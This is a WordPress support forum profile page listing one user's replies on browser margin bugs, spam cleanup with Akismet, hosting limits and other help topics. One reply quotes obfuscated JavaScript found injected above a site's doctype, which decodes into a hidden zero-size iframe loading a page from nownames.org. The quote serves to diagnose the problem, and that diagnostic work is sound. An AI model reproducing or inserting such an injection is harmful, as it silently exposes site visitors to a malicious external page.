DianeV
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Forum: Your WordPress
In reply to: Puffs out his chest and begins to strut> i would assume it has something to do with my css and the clear: both; hacks that i need.
No, it doesn’t. It has to do with the fact that IE doubles margins on elements (e.g., you specify 50px and it gives you 100px). This has been going on for years, along with other box model issues.
So, it’s okay to suggest that people switch browsers, although history tells us that most won’t, for whatever reason. OTOH, cross-browser compatibility is an important issue, if you want your designs to look pretty much pixel-perfect.
Forum: Fixing WordPress
In reply to: Deleating all Comments awaiting moderationUnless someone else has another idea, I would say that (a) yes, you can delete them using the inbuilt bulk deletion functionality, but (b) not with “the simple press of a button”.
That said, I would seriously suggest that, if you’re geting that many bogus comments, you use Akismet:
– sign up for an account at Akismet.com
– get your API key
– download the akismet plugin
– upload it to your blog’s wp-content/plugins folder
– activate it from your plugins page
– put the API key into itThis will catch most of your future comment spam, throwing it into your (new) internal Akismet queue (page), where you can indeed delete them with the simple press of a button.
And … good luck. 19,993 is an awfully high number.
Forum: Fixing WordPress
In reply to: Loading v2.1 front page calls Nownames.org – why?Ah, I see that the actual JavaScript in your template looks different than what was printed above … I’m guessing that the forum software translated it, but we can see that something is happening there.
If you didn’t add that to your header (including the extra
<html>tag), I’d remove it and see if that doesn’t fix your problem.And *then* I’d try to figure out why that’s in your code.
Forum: Fixing WordPress
In reply to: Loading v2.1 front page calls Nownames.org – why?I’m not sure which site you’re referring to — is it the one in your profile?
http://www.verulamra.org.uk/If so, it looks like you used the Binary Bonsai template — however, what I notice is that there is some strange(?) code, including a JavaScript converted to non-standard language, above the doctype:
<html>
<script language="javascript">
s=unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6E%6F%77%6E%61%6D%65%73%2E%6F%72%67%2F%69%6D%61%67%65%73%2F%69%6E%2E%70%68%70%3F%61%64%76%3D%33%22%20%57%49%44%54%48%3D%22%30%25%22%20%48%45%49%47%48%54%3D%22%30%25%22%20%4D%41%52%47%49%4E%48%45%49%47%48%54%3D%22%30%22%20%4D%41%52%47%49%4E%57%49%44%54%48%3D%22%30%22%20%53%43%52%4F%4C%4C%49%4E%47%3D%22%61%75%74%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%4E%4F%52%45%53%49%5A%45%3E%3C%2F%69%66%72%61%6D%65%3E%0A");
document.writeln(s);document.close();
</script>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Did you put that there?
Forum: Installing WordPress
In reply to: Fatal ErrorAha, clever. 🙂 Thanks for searching.
Forum: Fixing WordPress
In reply to: EXPERTS! Bold preamble in single postSo, why not just type the
<strong>tags into the post?Forum: Fixing WordPress
In reply to: Cannot delete posts as administratorOkay. So, when you upgraded, exactly what steps did you take? I ask because it isn’t working as it should.
Did you delete the WordPress files from the server (except the few that don’t need to be deleted) *before* you uploaded the new files?
And did you then run upgrade.php?
Forum: Fixing WordPress
In reply to: Can’t log in – ‘user does not seem to exist’One thing to know about GoDaddy is that (unless it’s changed), they do not support mod_rewrite, so you’ll not be able to use the “prettified URLs” option in WordPress.
Yes, they “support” .htaccess, but not mod_rewrite.
Forum: Your WordPress
In reply to: Simple design. Criticism welcome.One thing I’d suggest is to make the post titles stand out more … perhaps making them larger and bold, or something to make them stand out. Otherwise, good job for a first try. 🙂
Forum: Installing WordPress
In reply to: Copy an entire blogNot exactly.
Take a look at the Codex on Giving WordPress its Own Directory — although you’re kind of doing the reverse.
You *might* want to leave the WP files in a folder but also move the home page to the root of the domain.
Biggest tip: back up not only your WP files but also your database first. Stuff happens; just do it. 🙂
Forum: Fixing WordPress
In reply to: Excessive queries in WordPress 2.07 and 2.1I agree, Otto42. I guess it’s one of those things that leaves us all amazed and delighted. LOL
Forum: Installing WordPress
In reply to: Can’t see blogHm. 403 is the server code for “forbidden”. Is the directory for your blog home page password protected, or has it been blocked through a server configuration file?
Hm. Opera has a Preference section for iframes:
Tools > Preferences > Advanced > Content
Enable Inline FramesDo you have this selected and, if so, does the iframe still not display?
Forum: Fixing WordPress
In reply to: Excessive queries in WordPress 2.07 and 2.1That’s odd. I have 19(?) categories, and some code that displays recent posts on the home page — and “only” 46 queries (which is better than 175+).
OTOH, graywolf is displaying a number of in-post images on the home page, while I have one (currently); I also have no ads, references to Flickr or really much of anything else. Could it be these items that are causing the large number of queries?
Forum: Fixing WordPress
In reply to: UTW and Simple Tags conflict – what to do?That’s true, but on the other hand, you learned something, so it’s all good, right? 🙂